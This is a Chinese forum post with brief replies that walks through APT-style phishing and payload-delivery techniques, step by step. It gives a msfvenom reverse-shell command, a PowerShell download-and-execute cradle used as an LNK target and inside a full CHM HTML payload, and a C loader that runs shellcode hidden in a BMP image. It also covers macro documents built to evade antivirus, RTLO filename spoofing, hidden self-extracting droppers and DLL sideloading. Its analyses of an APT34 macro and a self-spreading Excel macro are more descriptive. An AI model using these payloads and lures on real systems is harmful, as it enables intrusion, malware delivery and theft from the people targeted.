mai1zhi2 发表于 2021-4-14 12:29

没有不上钩的鱼儿(上)_常用钓鱼手法

本帖最后由 mai1zhi2 于 2021-4-14 17:45 编辑

一、概述
APT(AdvancedPersistent Threat,高级持续性威胁)是在网络空间上常见的攻击事件,具有攻击者长期持续对特定目标进行精准打击的特性。APT 攻击入侵的方式主要有:鱼叉式钓鱼、IM、水坑攻击、钓鱼网站、1/N day 漏洞、0 day 漏洞和物理接触。入侵包括载荷投递和突破防御两个阶段,各种入侵方式的成本如下图:

处于金字塔底层的是鱼叉式钓鱼和水坑攻击,它是最常见、入侵成本最低的攻击方式。攻击者常常以鱼叉邮件做为攻击入口,精心构造邮件标题、正文和附件。水坑攻击则是侵入网站,加入恶意 JS 伪装更新,或是伪造钓鱼网站一步步窃取用户隐私。金字塔往上则是针对边界的渗透攻击。再往上是操作系统漏洞、网络组件漏洞,以及 office,Adobe等应用漏洞利用。再往上则是供应链攻击,如驱动人生挖矿、xshell、xcode、华硕软件更新劫持等事件。顶端则是物理接触,如闻名的震网。 可见APT常用攻击手法是多变的,本文会具体分三个部分来浅析各种常见的攻击手法:
1、 常见钓鱼手法
1.1、       常规的cs宏钓鱼
1.1.1、   宏钓鱼操作手法
1.1.2、   APT34的word宏分析
1.2、       利用docx文档远程模板运行宏
1.3、       excel宏
1.3.1、excel宏操作手法
1.3.2、感染型的excel样本宏分析
1.4、       lnk 快捷方式
1.5、       CHM电子书
1.6、       替换图标及RTLO
1.7、       rar解压执行
1.8、       shellcode图片隐写
1.9、       CS鱼叉
1.10、    白加黑
2、 那些年的漏洞
a)       Office类漏洞
b)       Adobe类漏洞
c)       浏览器类漏洞
d)       其他漏洞
3、 钓鱼框架使用与分析
a)       Gophish
b)       SET

二、常见的钓鱼手法2.1常规的cs宏钓鱼
2.1.1宏钓鱼操作手法
依次点击Attacks->Packages->MS OfficeMacro:选择所用的监听器:


选择好监听器后,copy Macro复制宏:

Word打开创建宏的面板:


把cs的宏复制进去,注意需要选择Auto_Open,这里顺带解释下复制黏贴这段宏代码的含义,首先定义PROCESS_INFORMATION、STARTUPINFO结构体:


所需要用到的几个函数CreateRemoteThread、VirtualAllocEx、WriteProcessMemory、CreateProcessA:


接着是shellcode部分,shellcode功能就是下载beacon.dll反射执行:


最后是主要的操作,把shellcode远程注入rundll32.exe再执行:


Ctrl+s保存,word文档另存为docm格式,然后双击打开该文档,目标上线,。


注意,宏里的myArray里面的shellcode要进行免杀处理,不然会被杀软查杀。
2.1.2 APT34的word宏分析
2.1.2.1分析宏
先用oledump.py把文档中的宏dump下来:对文档作基本分析,显示文件中的stream数据,有17段,标记‘m’则有VBA宏。


-s段号,-v解压,该命令表示解压全部段的宏


宏主要内容如下:


宏功能比较清晰:
1、读取了表格1行、25列和1行、26列的内容;
2、创建了Scripting.FileSystemObject和WScript.Shell对象;
3、获得系统环境变量%PUBLIC%路径,并拼接字符串,cmd1内容为用powershell把第一步读取到的内容base64解码后,分别写入%public%/Library/fireeye.vbs、%public%/Library/fireeye.vbs中,Cmd2内容为创建名为GoogleUpdatesTaskMachineUI每隔三分钟执行%public%/Library/fireeye.vbs的计划任务;
4、FileSystemObject创建目录%PUBLIC%/Libarary/up、dn、tp;5、执行cmd命令。

2.1.2.2分析解密出来的fireeye.vbs:
从服务器下载文件并保存再%public%\Librarise\dn目录,文件名从响应头的Content-Disposition字段获得:


从服务器下载文件,保存在%public%\Librarise\up目录并执行,把执行结果base64编码后传回服务器后自删除:


执行fireeye.ps1


2.1.2.3分析fireeye.ps1行为:
该脚本主要通过DNS通信,原理是将子域名的A记录解析到不同IP地址,首先生成不同的子域名:


再通过拼接不同的子域名获取到对应IP地址(数据):


对返回的IP地址作解析:33.33开头则后面两字节作文件名,并设置flag ;35.35.35.35则结束会话


当flag为1,则把数据写入文件:


主体流程如下:


2.2 利用docx文档远程模板运行宏
创建宏方式与2.1的一致,所得的docm模板复制到http服务器上:


开启http服务器:



新建文档加载相应的模板:


然后保存,并把docx后缀名修改为zip
:

解压后找到\word\_rels\settings.xml.rels文件中的target标签,该标签目前表示加载本地的宏模板:


把target改为服务器上的dotm文件:

2.3 excel宏
2.3.1 excel宏操作手法
制作msi文件:msfvenom -p windows/meterpreter/reverse_tcpLHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f msi -o1.msi建立监听:


新建xlsx文件,在sheet表格处,右击插入宏:


宏内容,这里可以隐藏宏内容:

然后另存为xlsm格式。再打开文档,启动宏,反弹已执行:


2.3.2感染型的excel样本宏分析
先打开文档analt+f11查看宏,当文档打开先后调用d2p(),anthorize()两个函数:


查看d2p()函数,该函数主要作用在C:\Users\kent\AppData\Roaming\Microsoft\Excel\XLSTART路径下创建anthorization.xls文档,并复制该样本代码的前100行到anthorization.xls中,再在100行后面添加红框代码,最用调用Workbooks.open自启动感染所有打开的excel文档。

继续看anthorization()函数,先用GetObject("winmgmts:\\.").instancesof("Win32_Process")获取系统所有进程信息,并判断iexplore.exe是否在进程列表;如果不再进程列表则先打开office网站;如果在进程列表则用隐藏方式打开2345网站:

打开的ie进程:

窗口句柄:


再来查看生成的anthorization.xls文档:

打开anthorization.xls文档,查看宏,先后调用runtimer()、anthorize()函数:

跟进runtimer函数,里面调用p2dd()函数:

再跟进p2dd()函数,该函数用于感染其他打开的文档,在 VBE 窗口操作打开ThisWorkbook宏,如果存在update等相关关键字则把原始代码删除,后面再写入该样本前100行代码,并拼接红框代码:
查看authorize()函数,里面调用authorization()函数,authorization()该函数功能已讲过,不再赘述,

被感染的excle文档与anthorization.xls文档ThisWorkbook宏代码一致,也不再赘述。
2.4 lnk 快捷方式
依次点击Attacks->Packages->HTMLApplication:


选择好listener和mothod后,这里的method选择powershell方式,然后生成相应ps1脚本,再把脚本放在相应的http服务器上,也可以用cs的host a file功能:

然后新建快捷方式,选择好相应的程序,填入相应的目标地址:

目标地址如下:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-exec bypass -c IEX (New-ObjectSystem.Net.Webclient).DownloadString('http://192.168.202.131:8080/payload.ps1')可以更改图标增加迷惑性:
执行上线:


2.5 CHM电子书
这种后门是较为隐秘的后门,先新建文本,再复制下面的代码到文本中:

<!DOCTYPE html><html><head><title>Mousejackreplay</title><head></head><body>command exec <OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command"value="ShortCut"> <PARAM name="Button"value="Bitmap::shortcut"> <PARAM name="Item1"value=",cmd.exe,/cC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.202.131:8080/payload.ps1')"> <PARAM name="Item2"value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>

然后把文本另存为html格式,ANSI编码。接着使用EasyCHM制作相应的CHM电子书,打开EasyCHM后,依次点击新建->浏览->选择html文件所在所在的目录:

点击编译,生成CHM电子书。双击运行电子书,运行上线:


2.6替换图标及RTLO
这种替换执行程序图标外加上RTLO这手法挺常见的,蓝莲花等组织也有用过,使用Restorator工具可以轻松地替换掉图标。


被替换掉图标的程序:


RTLO(Right-to-Left Override),是一个微软的中东Unicode字符,使电脑将任意语言的文字内容按倒序排列,最初是用来支持一些从右往左写的语言的文字。

Artifact.exe利用RLO后名字改为artfactexe.mp4

执行上线:


2.7 rar解压执行
Rar解压执行这种方式可以把两个不同的文件捆绑在一起,然后利用winrar解压执行,但免杀效果好像挺一般。 同时选中两个文件,将其添加到压缩包,并勾选创建自解压格式压缩文件:


依次点击高级->自解压选项->常规,填入相应的解压路径:


点击设置,填入需要运行的程序:


点击模式选项卡,选择全部隐藏:


点击更新选项卡,选择解压并更新文件和覆盖所有文件:


最后得到exe压缩包:


执行压缩包程序上线:

2. 8 shellcode图片隐写
该手法较为常见,可以把有代码的图片放在本地或者网上来加载或通信。使用https://github.com/Mr-Un1k0d3r/DKMC该项目把shellcode隐写到图片中。先用python dkmc.py,运行项目,然后使用sc命令再用set source shellcode.txt设置shellcoe文本或使用gen命令再使用set shellcode设置具体的shellcode,再run运行得到插入shellcode的图片:file:///C:/Users/kent/AppData/Local/Temp/msohtmlclip1/01/clip_image124.png default.bmp - 十六进制比较 - Beyond Compare" width="554" height="299" border="0">
使用加载器读取图片,执行shellcode,加载器使用平时读取文件的加载器就可以:
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[]) {
    //加密保存在文件的shellcode
    //"C:\\Users\\kkkk\\Desktop\\1.bin"
    HANDLE hFile = CreateFile("D:\\out.bmp", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
      printf("Error");
      return -1;
    }

    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);

    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL)
    {
      printf("Error");
      return -1;
    }
    RtlZeroMemory(lpAddress, dwSize);

    //读内容
    DWORD dwRead;
    ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);


    //设置前两个字节
    //*(char*)lpAddress = 0x4D;
    //*((char*)lpAddress + 1) = 0x5A;

    system("pause");

    __asm {
      call lpAddress;
    }
    _flushall();

    return 0;
}

执行上线:
这里解释这个项目的原理:项目把shellcode保存在bmp文件的后面,0x42与0x4d是无关紧要的字节码,

然后跳到原来图片文件的尾部,开始执行shellcode。
2.9 CS鱼叉
依次点击Attacks->SpearPhish,根据需要依次填入相应的信息:

Target是需要发送到标的邮箱地址,格式为,中间为tab键:123456@qq.comnameTempalte是邮件的模板,打开邮件原文,再右键另存为:

Attachment是索要添加的附件;Embed URL是邮件里的链接点击后所要跳转的URL;Mail Server是 邮件的SMTP设置,需要设置好;Bounce To是邮件内显示的发送人;当东西设置好后,点击send,qq邮箱收到相应的邮件:


2.10 白加黑
白加黑,该手法简单来说就是一个白名单的exe程序在动态加载dll时,由于没有对dll进行安全校验,导致加载了同目录下攻击者所创建的恶意dll,因为该手法免杀效果良好,所以一直以来都比较常用。这里用网上一个实例来加以说明:


这里有1.exe和wwlib.dll,其中1.exe是带有微软签名信息的程序,所以1.exe是不会报毒的。

而在1.exe中,函数sub_30001573()中加载wwlib.dll,并调用了dll中FMain导出函数:

同目录下Wwlib.dll中的FMain()导出函数为攻击者所实现的相关攻击操作:

三、阶段总结      
常用的钓鱼手法还有很多,只要思路够骚,没有目标不上钩,这次的常用手法就写到这里,下次继续写所遇到的漏洞和框架浅析,谢谢大家的观看。
参考链接:
https://paper.seebug.org/1132/
https://www.moonsec.com/
https://bbs.pediy.com/thread-262161.htm

白羊君 发表于 2021-4-14 19:38

作为一个钓鱼人,看到你标题都两眼放光,打开就是这钓鱼???我8米1的杆子呢?

ClearLover 发表于 2021-4-15 10:17

灰度X 发表于 2021-4-15 09:52
为什么mp4和html病毒都搜不到演示文章啊,我有点怀疑

都说了MP4没有了你怎么搜,所谓的音视频媒体病毒也不过是转了下后缀而已,利用windows默认不开启显示后缀的,实质还是exe的!!!!

heikis 发表于 2021-4-14 18:15

嘿,姜太公钓鱼是吧

林伊轩 发表于 2021-4-14 18:46

很强,膜拜
更高层次的攻击是怎么实现呢

welcome7758521 发表于 2021-4-14 19:37

真就现实版,点对点上钩呗

mai1zhi2 发表于 2021-4-14 20:40

林伊轩 发表于 2021-4-14 18:46
很强,膜拜
更高层次的攻击是怎么实现呢

更高层次的攻击就越往金字塔的高层,但相对来说没鱼叉这些普遍

mai1zhi2 发表于 2021-4-14 20:40

白羊君 发表于 2021-4-14 19:38
作为一个钓鱼人,看到你标题都两眼放光,打开就是这钓鱼???我8米1的杆子呢?

哈哈哈哈哈;www

wjs998 发表于 2021-4-14 21:32

大佬   请收下我的膝盖

灰度X 发表于 2021-4-14 21:36

zhrmghgtw 发表于 2021-4-14 21:44

谢谢分享
页: [1] 2 3 4 5
查看完整版本: 没有不上钩的鱼儿(上)_常用钓鱼手法